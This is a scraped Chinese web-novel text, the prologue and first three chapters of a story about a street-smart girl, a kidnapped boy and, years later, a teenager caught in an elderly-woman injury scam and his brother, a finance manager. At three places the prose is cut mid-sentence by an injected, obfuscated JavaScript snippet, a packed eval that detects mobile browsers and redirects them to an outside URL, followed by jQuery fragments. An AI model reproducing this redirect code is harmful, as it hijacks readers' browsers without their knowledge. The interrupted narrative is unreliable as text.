《无污染、无公害》
1. 楔子
男孩已经差不多一整天水米未进了,他咽了口唾沫,嗓子像生了锈的铁片,泛着腥,眼前一阵一阵地发黑,不知踩了什么,他脚踝一软,一声不吭地往前栽去。
旁边的少女没轻没重地揪起他的领子,拖死狗似的拽住了他,差点把他勒死,男孩胡乱在地面上撑了一把,狼狈地维持住了姿势,好歹算是没躺下,感觉耳边的声音忽远忽近,像隔着一层什么。
“你怎么了?”
“我……我实在……”
实在跑不动了。
这话说了一半,男孩就没了力气,后半句虚虚地悬在嗓子眼里,被上气不接下气的吐息吹得七零八落。
“你说什么?”少女没听清,凑过来捏起他的下巴,看了看他的脸色,皱眉问,“他们打你了?”
“没……没有,”男孩软绵绵地抓住她在自己身上乱拍的手,气如游丝地说,“……低、低血糖……姐姐……”
“哦,”少女听了这个称呼,愣了愣,但也没反对,十来岁的小女孩,对年龄问题还不太敏感,她摸了一圈,最后不知从哪翻出了一块巧克力,“给,好像过期了,我也没别的,你先凑合吧。”
这块巧克力饱经风霜,也不知道融化凝固了几轮,沧桑得变了形,男孩哆哆嗦嗦地接过来,感觉自己就像剥开了一块粘糊糊的裹尸布,但也别无选择,只好强行塞进嘴里,并从里面尝出了浓浓的洗衣粉味。
饿到低血糖,本来就容易头晕恶心,加上他嗓子发炎,吞咽困难,这团不知道经历过什么的巧克力不上不下地糊在了嗓子眼,噎得男孩干呕了几下,泪流满面。
“不是给你吃的了吗,还哭什么?”
“我……呃……没哭,就是……咽……呃……咽不下去……”
“公主殿下。”少女老气横秋地叹着气,在他身边蹲下,耐着性子等他擦干了眼泪,又问,“哎,问你,知道那些人为什么绑你吗?”
“不……唔,不知道,”男孩使出了吃奶的劲,才算把嘴里的东西咽下去,喘过了这口大气,“我不认识他们,但他们有车,还养着几条大狗,我觉得他们马上就能追上咱们,咱们得报警——姐姐,你有通讯工具吗?我手机被他们搜走了。”
“没有,我们村都是用喊的。”少女一摊手,“你不会是有钱人家的少爷吧?他们绑票要钱啊?”
“不是,我父母都是普通人。”男孩想了想,又说,“应该不是为了钱,他们没给我拍照,也没让我给家人打电话要赎金。绑架我的是个团伙,一共有七八个人,我觉得一般参与绑架勒索的团伙应该不会有这么大规模,因为团伙内部如果人多眼杂,就很容易因为利益而发生冲突,团伙很难稳定。”
他说得头头是道,还夹杂了书面语,少女听得一头雾水:“哦,是这样啊?”
男孩立刻无端拘谨了起来:“……我从书上看的。”
两个半大孩子在一个很荒僻的地方,不远处有个通往外省的高架桥,这会车都没一辆。周遭杳无人迹,但可能挨着个垃圾处理厂,因为夏末秋初的晚风一阵阵地刮来销魂的馊味。男孩被这味道呛得口鼻生疼,生理性的干呕了一下,又连忙捂嘴憋住,小心翼翼地看了旁边的女孩一眼,仿佛是怕她嫌弃。
少女穿着一件很久的男式短袖衬衫,属于九十年代村委书记们的流行款,不过衬衫对她来说实在太不合身,罩在身上像口麻袋,倒显得没那么土了。她单手挎着个牛仔书包,包上拉链坏了,就自己钉了几颗里出外进的扣子,软塌塌的背带垂着,看起来就像刚从垃圾箱里捡的。
但尽管这样,她居然也并不显得邋遢,反而有种满不在乎劲。
“姐姐,你是住在这附近吗?”男孩轻声问,“咱们去哪能找到大人?”
“我哪知道,我扒在他们车后面跟来的,”少女从地上薅了棵草,叼进嘴里,一边观察周围地形,一边盘算着什么,漫不经心地说,“他们是在泥塘后巷里把你绑走的吧?我买早饭正好经过,不过这伙人下手可真快,我当时都没看清楚是抓了人,就是觉得有点不对劲,才跟过来看一眼,算你命大。”
男孩目瞪口呆。
少女接着说:“我还没问你呢,大清早的,你一个小不点,跑到泥塘后巷那个流氓窝里干什么?”
男孩浑似被雷劈了:“你……你自己?一个人?”
“嗯对,不好意思啊,我一般没有随身带拉拉队的习惯,可能出场不够隆重。”
“你没告诉大人?没报警?”男孩回过神来,毛炸起两尺来高,“你还什么……扒车上?你、你扒哪了?万一掉下去会被路上车碾死的,还有,万一他们发现你……”
少女硬是被他的喋喋不休打断了思路,扭过头,一脸无奈地看着他:“报什么警?我上哪报去?从泥塘后巷跑到派出所,把事儿跟人家说明白,再跑回来——关键我还说不明白——这么来回一趟,够把你拉火葬场回个锅了。乖,滚一边背你那‘小学生行为守则’去,再啰嗦,姐姐就把你打哭。”
“我在跟你讲道理,还有,我已经上初中了!”
少女“噗”一声笑了出来:“那你学历好高啊,我……”
她话没说完,神色忽然一变,猛地揪起男孩,把他搡进了路边的灌木丛里。男孩下意识地屏住了呼吸,紧接着,一道浑浊的光扫了过来。
是车灯。
好几辆车,引擎和排气管的噪音在空旷的夜色里尤其显声势,轰炸机似的围着他们转,随即在离他们不远的地方停了下来,紧接着,风中传来了人的污言秽语和狗叫声。
他们带着狗追来了!
男孩连忙扭头去看身边的同伴,借着微光,他突然发现她可能并不比自己大多少,甚至可能是同龄人,脸颊和下巴上还带着一点柔嫩的婴儿肥,只是女孩发育得早一些,她又显得太有“主意”,让人有种成熟的错觉。
那张侧脸看上去没有正脸清秀,因为鼻梁上略有一点驼峰,浓眉很长,斜斜地往上飞,岁月还没来得及雕琢她的脸,骨肉尚未长开,却已经显出了一点桀骜不驯的质地。
“他们人多,有车还有狗,抓咱俩……不,抓我很容易,”男孩把声音压得又低又急,“我们应该分开,如果我被抓走了,你千万不要出来,听我说,我觉得附近应该有个垃圾场,大型垃圾场附近肯定有IC电话,你去找人来救我。”
“我没有电话卡。”
男孩额角的青筋都跳了起来:“打110免费!你常识也没有吗?”
“哦,真的吗?”少女露出“涨了知识”的表情,随后她很镇定地收回视线,吐出嘴里的草,“好吧,有机会我试试,今天还用不着——你把衣服脱下来。”
“……什么?”
“脱、衣、服,”她转过头来,目光掠过男孩单薄的胸口,“没胸没屁股的豆芽菜,我还能占你便宜吗?快脱,别
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728771|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
磨蹭!”
她说着就要亲自动手,男孩面红耳赤地蜷成一团,最后被迫屈服——他穿得不多,摘了棒球帽,褪下T恤和运动裤,浑身上下就剩下了一条内裤,像个剃了毛的小狗崽,又羞愤又委屈。
少女看了他一眼,笑得十分不怀好意:“你裤衩上那条狗长得跟你还挺像。”
“你看什么!”
“跟上!”她冲他一招手,弓着腰,借着路边自由生长的灌木掩护,灵巧地带着男孩到处乱钻。
男孩一开始还隐约有点方向感,到后来转懵了,只知道闷头跟着她走。狗的叫声越来越近,空荡荡的街道上,甚至能听见杂乱的脚步。
“过来!”前面的少女朝他招手,男孩这才注意到,他俩已经到了垃圾场边缘,前面就是铁丝网,少女话没说完,又一道光扫了过来,两个半大的孩子连忙蹲下,离得很近,少女看见了男孩脚上的运动鞋——非常骚气,两只脚上鞋带的颜色和绑法不一样,还是荧光色系的,“鞋也脱下来,一会从这上面爬过去,动作快点,被人看见你就死定了,明白吗?”
“你要干什么?”
少女没理他,接着说:“进去以后,找最臭的地方躲着,天快亮的时候会有垃圾车过来,叫他们救你。”
“好,那你自己快跑,但是要跑远一点,因为垃圾场也不一定能盖住我的气味,”男孩光溜溜地蜷缩在铁丝网下,竟还在有理有据地即兴科普,语速快得和机关枪一样,“我在一篇报道里读到过,受过训练的缉毒犬嗅觉几乎接近单分子水平,嗅觉细胞数量是人类的30到50倍,狗的嗅觉绝对阈值……阿嚏!”
那少女突然拿出个巴掌大的小喷雾,劈头盖脸地照着他一通喷,喷在他身上的液体好像是水,无色无味,男孩却莫名想打喷嚏,怕把追兵招来,只好拼命闭着嘴,把声音憋在嗓子里。
“天爷了,你怎么这么能背书啊,可别是个复读机成的精吧?”喷完,少女一巴掌糊在他后脑上,“就现在,爬!”
跟她的话音一起响起来的,是一声高亢凶狠的犬吠,那狗好像已经近在咫尺,男孩后背上的汗毛集体起立,脑子里一片空白,下意识地服从了她的话,用尽全力顺着铁丝网爬了上去,跳下来的时候,赤脚不知被什么划伤了,他踉跄了一下,没顾上管,慌忙爬起来,看向铁丝网那边的少女:“你快……”
少女用他脱下来的衣服做了个简单的网兜,把鞋袜一兜,随后把他的棒球帽扣在了自己头上。
男孩一愣,随后好像明白了什么:“等等,你要干什么?”
少女转头冲他吹了声口哨:“以后泥塘后巷这种破地方,没事少去,乖宝宝落单会被欺负的。自己跑吧,姐姐走了。”
“你……”男孩慌忙扑到铁丝网前,想伸手抓她,就在这时,又一道光扫了过来,男孩下意识地缩在了一个垃圾箱后面,女孩却站着一动不动,这次,那光直接扫过了女孩的脸,她侧头眯了一下眼,嘴角却露出了冰冷的笑意,带着点戾气,又像是带着点初生牛犊不怕虎式的跃跃欲试。
只见她后退了几步,压低帽檐,伸出食指竖在自己唇边:“嘘——”
那张脸在晃过来的手电光下分毫毕现,棒球帽遮住了她的眉目,只露出尖削的鼻尖和有些锋利的嘴角,像一团浓烈的火烧云,灼灼地烙在了他的视网膜上。
然后“火烧云”踩着风,从他眼前刮过,转眼就不见了踪影。
2. 第一章
“泥塘后巷”不是一条街,它是由一整片犬牙交错的小窄巷组成的,本名叫“小水塘”。因为这里地势低洼,一下雨就积水,路边墙角都是滑溜溜的青苔,有时还会泛起一点返潮的腥臊味。
在过去,这是个流氓扎堆的地方,像什么小偷团伙、诈骗团伙、人贩子……诸多种种,品类丰富,据说警察还曾在半夜三更从里面掏出过一窝跨省作案的杀人犯。当地人都知道要绕着这边走,于是给“小水塘”起了“泥塘”这么个诨名。
而十五年过去了,智能手机已经普及,IC电话几乎退出了历史舞台,泥塘这个著名的“流氓窝”,也在几次严打后,“清澈”了不少。
当初那些嚣张的老流氓们,有的死了、有的残了、有的亡命天涯、有的去唱“铁窗泪”了。
还有的幸存到了中年,茫然四顾,两手空空,于是低头过起了普通日子。
现在的泥塘后巷,还是乱,不法小商贩扎堆,偶尔也有几桩喝多了酒打架斗殴的事件,但总体上还是很太平的,一到了夏天,每天傍晚六点之后,这里就会变成露天烧烤区,辣椒孜然随风飞舞,十三香一统江湖,泛起“和气生财”的烟火气。
一道玻璃门隔离了旁边麻辣小龙虾的味,十五岁的少年刘仲齐背靠玻璃门,歪在一把塑料椅上,捧着手机在网上发帖问:“有一个把‘星座指南’奉为圭臬的智障女朋友怎么办?”
网上很快有闲人回复他:“不知道,我没有女朋友,只有一个把保健品当饭吃的智障老父亲,要不咱俩换换?”
刘仲齐放下手机,从七窍喷出几缕细细的肝火——他的小女朋友白悦,已经跟小饰品店里的“占星师”聊了十分钟了。
“不了解的人,可能会觉得你比较不拘小节,什么都不想,但其实不是这样的,你也有很要强的一面,一旦认真起来,就会有‘要么不做,要么做好’的骄傲。”所谓“占星师”,其实就是个糊弄人的女骗子,她说话略有烟熏嗓,带一点不算很夸张的港台腔,声音好像飘在半空,不往下落,听着神神叨叨的,“你是黄道第一宫的守护下诞生的女孩,我在你的胸口看见了一团明亮的火焰。”
刘仲齐被这句台词雷得一哆嗦,心说:“这位神棍,你是想吃烤鸡心了吗?”
“火焰就是你最本源的生命能量,”占星师隔空点了点白悦的胸口,又说,“但火是不好控制的,烧得过旺,人就容易急躁冒进、粗心马虎,在人际关系方面,有时你会过于心直口快,事后想起来,自己也常常会后悔说错话,对不对?”
白悦:“对对对,我这人就是有点直!”
刘仲齐翻了个白眼:“等着,下一步就该让你买东西了。”
占星师开始引无知少女上钩:“那你有没有想过,要改变一下自己呢?”
刘仲齐想:“来了吧!”
“有啊!”白悦——这位脑进化失败的女同学——不止咬了钩,她还一口把鱼漂给吞了,“您觉得我买一套诞生石好吗,连手链再项链,会有帮助吗?”
刘仲齐:“……”
当代二傻子竟已经好骗到了这种地步!
刘仲齐在市三中读书,这会正放暑假,开学就要升高二了。三中跟泥塘后巷在一个行政区,相距不到三公里,骑自行车过来只要十几分钟。
对于这些重点中学的乖孩子来说,泥塘是学校和家长三令五申不许去的地方,于是这里反而成了他们寻刺激的胜地,偶尔来一次,吃两斤小龙虾,去黑网吧打一会游戏,或是买两本盗版书,就仿佛能沾上一点“社会”气。借此发泄青春期特有的小叛逆,纾解学习压力。
刘仲齐就是被小女朋友拖出来“探险”的。
他俩先是被乌烟瘴气的网吧熏了个跟头,又让露天烧烤一条街呛得鼻孔发黑,心与肺都饱受了一番蹂躏时,意外发现了这家名叫“星之梦”的饰品店。
这家店不但不臭,还点了一打香薰蜡烛。幽幽的灯光把那些不知从哪批发的小饰品照得很像那么回事,还有个打扮得成吉普赛人的“占星师”陪聊。
“占星师”三言两语就把白悦忽悠瘸了,这也想买、那也想买,不但自己要当一个欢天喜地的冤大头,还没忘了男朋友:“刘仲齐,你八月底的吧,要不我给你买一条处女座的,咱俩情侣款!”
“不了,”刘仲齐爱答不理地回答,“我上火的时候喝藿香正气水就管用。”
白悦小公主立刻不高兴了:“你怎么这么扫兴?”
刘仲齐干脆把双臂往胸前一抱,冷笑道:“我没有扫兴,我是在扫盲,白悦同学,我现在现场给你分析一下,你是怎么上当受骗的——你一进来,她就知道你是四月出生的,为什么呢?是因为你那堆诞生石前上蹿下跳,指着四月份的那块破玩意,连说了三遍‘这是我的’。”
“她怎么知道你是白羊座不是金牛座?姐姐,因为你那没啥卵用的脑袋上顶着个白羊座的发卡。”
“她怎么把你的性格特点说那么准?因为有个东西叫‘巴纳姆效应’(注),还因为她知道你信星座那一套,只要照着百度百科里的白羊座描述念一遍,你就觉得她直击命运了。”
“还有,她怎么知道你‘心直口快’的?”刘仲齐炫酷地做出总结陈词,“因为二百五都这样,这有什么难猜的?”
这位炫酷的少年,进入“早恋先锋队”仅两个月,就荣归了单身狗行列。
“再不追上去,明天可就没有女朋友了。”那骗子占星师心理素质非常稳定,笑盈盈地听完了整场吵架,买卖黄了也不生气,慢条斯理地收拾起方才被白悦拿出来看的小饰品。
刘仲齐没好气地看了她一眼:“关心你自己的生意吧。”
“做生意,看缘分,今天缘分没到。”占星师淡定地说,递了张名片给他,“你以后有什么困惑,也可以随时联系我,扫码加微信。”
“扫码加微信”这句台词有点穿帮,因为太接地气,港台腔飞了。
刘仲齐这个坚定的唯物主义者正要回敬一个蔑视,就听她又不慌不忙地补了一句:“不管你想咨询学业还是感情,前三次都免费,家庭关系也可以问,比如……有个不好相处的哥哥姐姐怎么办。”
刘仲齐猛地一抬头,警惕地问:“你认识我?”
“不认识,”占星师一弯眼角,“我的套路你不是都懂吗,猜猜看,我是怎么知道的。”
她很高,皮肤非常白——但不是漂亮姑娘那种水灵灵的白嫩,而仿佛是常年不见天日沤出来的惨白,发冷、没什么光泽,太阳穴附近透出了几根蓝紫色的血管——她穿了条纯黑的长裙,长发遮了半张脸,戴着夸张的首饰,显得很瘦,一阵风来就能直接上天似的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728772|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
单就形象而言,这女的长得极具玄学气质,可以说非常适合装神弄鬼。
她把名片塞进刘仲齐手里,优雅地一欠身:“欢迎下次再来。”
刘仲齐鬼使神差地接了名片,出门走了好几米,他一边觉得自己有病,一边忍不住捏起那张名片看了一眼。
“甘……卿。”
也不知道是真名还是假名。
刘仲齐回头,星之梦门口已经亮起了灯,幽幽的、静静的,真有几分诡秘意味。
就在这时,小巷里的人们忽然莫名其妙地骚动了起来,人们你推我搡,纷纷往街边挤,刘仲齐被人一把推到了墙角。他恼火地抬起头,发现小路中间已经腾出了好大一块空地,旁边有人兴奋地小声说“来了来了”。
紧接着一声巨响,几把椅子被人砸到了大街上,四五个社会小青年旋风似的从旁边的烧烤店里喷射出来,嘴里污言与秽语齐下,张牙舞爪地肉搏在了一起,一时间,只见胳膊腿乱飞,也看不出谁跟谁是一伙的。
围观群众们兴高采烈,其中一位吃瓜的光是看还不过瘾,在旁边吊了一嗓子,嚎道:“呜呜呀——牛逼!”
刘仲齐:“……”
这帮社会渣滓!
大好的暑假时光,他不在家多做两套数学卷子,跑这游荡,真是有病!
刘仲齐心浮气躁地试图往外挤:“借过一下……”
就在他快要“逃”出去的时候,一个老太太不知被谁搡了一把,摔了出来,老太太已经是满头白发,后背佝偻得像个煮熟的虾,手里拎着根拐棍。周围的人都跟瞎了一样,眼睛都粘在不良少年们的战斗现场里,就是没人过来扶她一把。
这一下摔得不轻,老人家在地上挣扎了半天没起来,一边哀哀地叫,一边朝正好在附近的刘仲齐伸出手求助。
刘仲齐一愣,连忙要过去帮忙,就在这时,一只手抓住了他裸/露的胳膊。
那手冰得他哆嗦了一下,手指细长,但食指与中指好像有点不正常的弯曲,说不好是受过伤、还是单纯因为瘦,总之,让人无端想起荒郊外孤坟上伸出来的枯枝。
刘仲齐一回头,发现抓住他的赫然就是那个星之梦里那个骗子占星师。
占星师压低了声音,港台腔也不装了,飞快地说:“少年,我见你今天印堂发黑,必有祸事,最好少管闲事,赶紧回家。”
怎么,西方占星术和传统相面这俩玩意还能跨界?
刘仲齐心想:“什么鬼?”
这位新时代的好少年挣开她的手,理也没理这江湖骗子,踩着雷锋前辈的脚步,朝老太太走去。
……然后很快,少年就接受了一次“社会再教育”。
主题是:“不听老人言,吃亏不花钱”。
助人为乐的刘仲齐扶起了被人撞倒的老太太,还帮着她捡回了拐杖,听老太太捶着腰说自己家不远,刘仲齐就毫无戒心地搀起她,顺着她的指点,一路护送她从乱哄哄的泥塘后街挤了出去。
等他反应过来不对劲的时候,已经被老太太领到了一条人迹罕至的死胡同里,三个守株待兔的大流氓团团围住了他。
刚才还可怜巴巴的老太太一屁股坐在地上,霸气侧漏地把腿一盘,中气十足地叫道:“就是这小子,撞了我一个跟头,把老娘的腿摔断了!”
3. 第二章
开发区。
一排商务车停在路边,打头的车上下来一个胖子,颠着小碎步,殷勤地替后面的人开车门:“就是这,您看,周围都是新修的路。前面圈起来的那块地,就是今天要带您了解的,实在是个好项目!按说,我那兄弟手头资金这么紧张,该放手就放手,可真是舍不得啊,现在只要启动资金到位,立了项,马上能拿到贷款,以后那真是躺着都能……”
车里下来的投资方负责人,据说是一位副总,四十来岁,带着礼貌又矜持的微笑,轻飘飘地打断胖子:“王总,您的可行性报告和详规我们都看过,不用再强调一遍啦——兰川,你过来看看。”
胖子陪着笑,目光落在刚下车的年轻男人身上。
只见这人身材高挑,仪表堂堂,穿了一件浅灰色的衬衫,鼻梁上架着细金属框眼镜,也不知道多少度,反正镜片看起来很薄。不仅仅是镜片薄,他嘴唇也薄、鼻翼窄而挺直,下颌如削——连眼皮都好像比别人薄上三分。因为个高,他看人的时候得略微垂眼,目光从眼角流出来,有点似笑非笑的意思。
胖子咽了口唾沫,被这位“本座乃一代逼王”的气场撞了一下腰,直觉此人来者不善。
“喻兰川,君子如兰的‘兰’,海纳百川的‘川’,这是我们风控部的负责人。”投资方的副总指着喻兰川,半真半假地对胖子说,“别看年轻,这位手里拿的才是尚方宝剑,我们大老板谨慎,公司权力最大的就是他们风控部门,我们天天在外面跑业务,也没有这位小爷出一篇报告管用。”
胖子连忙打起十二分的精神,把马屁拍得震耳欲聋:“喻总,青年才俊,青年才俊!”
逼王……喻经理关上手里的平板电脑,冲胖子一点头,惜字如金地说了句“您好”。
“不知道喻总对咱们这一片了解多少,”胖子搓着手说,“最近这几年,咱们燕宁发展太快啦,这边十几年前都是荒地,现在也都成市区绝版了,我……”
“了解不多,就来过一趟。”喻兰川刚好在胖子换完一口气,准备长篇大论的时候打断了他,把胖子噎得一哽,“这里以前不是荒地,是个垃圾填埋场。”
胖子眼神一闪,接着很快接上话:“嘿,要不怎么说您懂呢!我刚才正想说,还没来得及,这个项目好就好在垃圾填埋场上!垃圾填埋场改造,这个……土地再利用,它现在有一套成熟的技术,把垃圾粉碎压实以后非常稳定的,对周围环境也好啊,利国利民,国家很鼓励的!开发商那边准备以这个为亮点,应该还能运作来一些政策性支持……”
“不对吧王总,”喻兰川不温不火地说,“我记得这好像是专门处理生活垃圾的,味道特别大,据我所知,很多液体和有毒物会渗入地下,有些东西分解周期还很长,会影响地质,按着您那个规划,地基不会有问题吗?”
胖子明显地卡了一下壳,开始避重就轻:“这……这肯定是没问题的,我朋友那边项目公司都成立了,方案都是找专家论证过的,技术上绝对有保障,这您都不用管。现在我们困难的主要还是资金……”
喻兰川低头一笑,彬彬有礼地说:“谁不是呢?今年钱荒,大家的资金都很困难,所以更得谨慎,您说对不对?”
“那是那是……”胖子跟在他身后,面上点头哈腰,却在别人看不见的角度,拿冷冷的目光朝喻兰川的后背刺去,真诚地祝福他遭雷劈。
谁知就在这时,喻兰川好像身后长了眼一样,忽地扭过头来,正对上胖子没来得及收回的视线:“王总,您好像有话要和我说?”
胖子激灵一下,脑门上立刻见了汗。
好在这时有投资方的人插科打诨:“我们兰川有个特异功能,有人盯着他看,他立刻就能感觉到,神不神?王总准是嫌我们这帮中老年人油腻,刚才光看小鲜肉来着。”
胖子勉强跟着笑了几声,之后一路,硬是没敢再胡说八道。
一行人很有效率地完成了实地考察,七座的商务车驶离开发区,朝着高楼林立的中央商务区而去。
“这个事我就不出报告了,没有上会讨论的价值。”回到公司,喻兰川把平板电脑往司机手里一塞,边走边和带队的副总说,“姓王的靠不住,二道混混一个,估计是先跟开发商说‘我有个好项目,就是一时弄不到资质,启动资金我出,你们玩轻资产,只需要派个团队,冠个名,把摊子帮我支起来,根本不承担风险,大家一起赚钱’,再跟投资人说‘开发商是个大品牌,项目向来做得扎实,这回宁可把资金链崩断也不肯放弃这块肥肉,幸亏缺钱,才给咱们分一杯羹的机会,机不可失’,两头骗完,资金到位项目立项,他再卷一笔走人,空手套白狼。”
“你小子这张嘴啊,”带队副总笑了起来,随后意味深长地看了他一眼,“二道混混有二道混混的用处,毕竟是李总的朋友介绍来的,哪怕是看在李总的面子上呢,咱们不跑这一趟也不合适,工作嘛,有时候为着同事面子、人情世故,免不了牺牲一点宝贵时间,做些无用功,也都正常。”
喻兰川笑了一下,没接话。
现在有谣言说大老板要退休,集团还没动静,公司里几位副总已经斗得乌眼鸡一样,天天互相上眼药,每个人都想拿起他们风控这把大刀,向鬼子头上砍去。作为这把繁忙的刀,喻兰川周旋在腥风血雨中,已经连续一个月没休过周末了。
他一侧身,替同事们按下电梯:“我还要在会议室跟人碰几个事,诸位先上楼。”
“喻总辛苦。”
“您能者多劳。”
电梯门合上,喻兰川收敛了微笑,神色寡淡地往会议室走去,早等在会议室门口的助理追上来,给他递了一杯咖啡和一叠纸质材料。喻兰川扫了一眼,又把文件夹还给她:“我没时间看了,你跟我口头说说。”
年轻的助理训练有素,立刻有条有理地低声在他耳边简报材料内容。喻兰川一言不发地听,不时有人与他错肩而过,朝他点头打招呼。光可鉴物的理石地板上,衣冠楚楚的男女们行色匆匆。
社会刻板印象认为,那些顶鸟窝头、油光满面、终日以外卖为生的,肯定都又穷又丧,混吃等死,是注定被淘汰的失败者。而与之相反,穿定制西装、每天在CBD夹着电话招摇而过的,一定是都市精英,前程远大,身后缀着一个加强连的狂蜂浪蝶。
然而,“猥琐死宅”搞不好是拆迁户,坐拥好几套房产,过着躺着收租的幸福生活。
“都市精英”却有可能是月月精光的房奴狗,香水用的都是小样,每到月底都面临着断炊的风险,天天加班,然后被各大公众号上关于“熬夜猝死”的文章来回扎心。
世事无常,这都难说。
比如形象与气场都异常高冷的喻兰川,就是这么一位光鲜且潦倒的“都市精英”。
在仲夏的周五傍晚,已经连轴转了一天的喻兰川撑着最后一口气,挨过了一场长达四个小时的电视电话会,吵得脑仁“嗡嗡”作响。在让人战栗的中央空调冷风下,他回到了自己的办公室,关上门,往椅子上一瘫,邮箱里又积攒了一打待阅待审的文件,他一个也不想打开看,只想回家躺尸。
翻邮箱的时候,他看见头天有一封邮件显示“未读”,扫了一眼标题,心更凉了——那是银行发来的信用卡还款通知。
喻兰川给自己灌了半杯热茶垫底,借了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728773|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一点热乎气,这才打开了自己的“私人财务管理表”。
“时间管理”、“财务管理”和“健康管理”三位一体,都属于“精英标配”,一个也不能少。那些规整的表格就像安全套,仿佛把生活往里一套,就能掌控节奏、免遭蹂/躏似的。
而在喻先生这张个人财务管理表上,最显眼的一栏就是“房贷”。
房,是当代青年的照妖镜。
没买房的时候,青年们个个自觉卓尔不群,迟早能一飞冲天,跟天蓬元帅肩并肩。
买了房以后,“天神们”就纷纷给贬下凡间、落入猪圈,成了灰头土脸的二师兄。
喻兰川出于一些原因,今年年初买了套房,看房的时候,他先是被市区里豁牙露齿的“老破小”辣瞎了眼,又差点迷失在燕宁市的远郊区县,一开始还很纳闷,怎么满城广厦千万间,就没有一个是给人住的呢?
后来他从自己身上找了找原因,明白了,这事不怪市场房源,就怪他自己钱少事多。
最后,经过诸多妥协,他总算定下了一套各方面都能凑合的,倾家荡产地交了首付,成了一名光荣的房奴狗。
每月房贷近两万,期限三十年。
有期徒刑最高才二十五年。
银行比监狱还狠毒。
而更缺德的是,这处让他一贫如洗的“豪宅”还有一年多才能交房。这意味着,这一年里,他每月还完贷款,还要另付七千多的房租。
除此以外,这一周的大额支出还有下半年的停车费八千五、两份“结婚税”两千、以及老上司那非得这时候添白事的死妈……
喻兰川对着屏幕发了会呆,长出了一口气,摸了摸腰,感觉朝不保夕的肾正在瑟瑟发抖。
就在这时,他手机响了,来电显示是“咸鱼”。
“咸鱼”大名于严,是喻兰川的小学同学,当时那个班主任普通话不行,“于”“喻”不分,老开玩笑说他俩是亲兄弟,于是时间长了,两个脾气秉性完全不同的男孩就莫名其妙地玩在了一起,成了发小。
于严从小到大的梦想,就是要当一条真正的咸鱼,不料事与愿违,可能是有梦想的人不配当咸鱼吧——总之,他阴差阳错地成了一名人民警察,别看归属于他管的都是些三只耗子四只眼的鸡毛蒜皮,居然也时常忙得脚踩后脑勺,已经有一阵子没骚扰过喻兰川了。
“有事说,没事滚,”喻兰川在发小面前向来没有偶像包袱,果断扒了他装模作样的画皮,露出恶劣本性,半死不活地从舌尖上弹出几个字,“不喝、不约、不去。”
于警官忙说:“等等,兰爷,你弟在我这呢。”
“哦,”喻兰川听说,面无表情地捏了捏鼻梁,“弟弟跳楼甩卖,一万一只,不还价,支付宝转我账上,从今以后,他就是你弟了。”
于严:“别闹,不是在我家,是在我们所,派出所!”
喻兰川一顿,从鼻子里“哼”了一声:“他犯什么事了?”
于严义正言辞地谴责道:“你这混蛋玩意,当得什么大哥,一天到晚就不能盼点好吗?这是一个挺好的孩子,好心好意地助人为乐,扶老太太,结果老太太碰瓷,要不是有路人及时报警,刚才差点让几个流氓给打了。别废话了,你快点过来!”
“这是好?”喻兰川一撩眼皮,“这叫缺心眼吧。”
于严:“……”
“再说不是‘差点’么,那就是没挨打,我还有点事,让他先在那等着吧。”喻兰川把笔帽往钢笔上一扣,“你给他喂点食,回头我给你报销。”
于严:“喂,你这个人渣,你……”
喻人渣已经挂了电话。
4. 第三章
“吃吧。”民警于严把可乐和汉堡推到少年面前。
他们所有规定,值班民警没事不许叫外卖,怕影响不好。这点东西是他跑了一站地买回来的,跑出了一身大汗。
少年臊眉耷眼地接过去,抬起手背擦了一下脸,颧骨上有一小块擦伤,被汗浸过,又疼又痒。
于严就找女同事借了块消毒湿巾扔给他,一边对着空调口吹冷风,一边数落:“助人为乐要量力而行,你们老师没教过你吗?哦,她让你跟她走,你就跟她走,刘仲齐同学,你既然那么听话,那为什么大好的暑假时光,不好好在家写作业?你哥天天加班,没人管你了是吧?
这话不知怎么触动了青春期少年纤细的心,汉堡的包装纸拆了一半,男孩的表情一下黯淡了下去。
喻兰川姓喻,他弟弟姓刘,因为兄弟俩是同母异父。
喻兰川十岁的时候,父母因生活理念不合,和平分手,喻兰川跟了妈,一年后,亲妈又改嫁继父。
不过这不是一棵小白菜的故事,据于严了解,喻兰川的父母离婚后关系还不错,而且都觉得对不起孩子,连同继父在内,都给了他加倍的关怀。一个人加倍,三个人就是六倍,沉重的关怀差点把喻兰川闷死,每天都被大人们烦得想离家出走。
弟弟出生时,喻兰川已经上中学了,于是以“小孩妨碍他学习”为借口,出去住校躲清静。他早逝的祖父有个亲哥哥,喻兰川该叫“大爷爷”,是个孤寡老人,当时老头住得离他念书的中学不远,节假日,他就常常以“陪大爷爷”为由不回家。
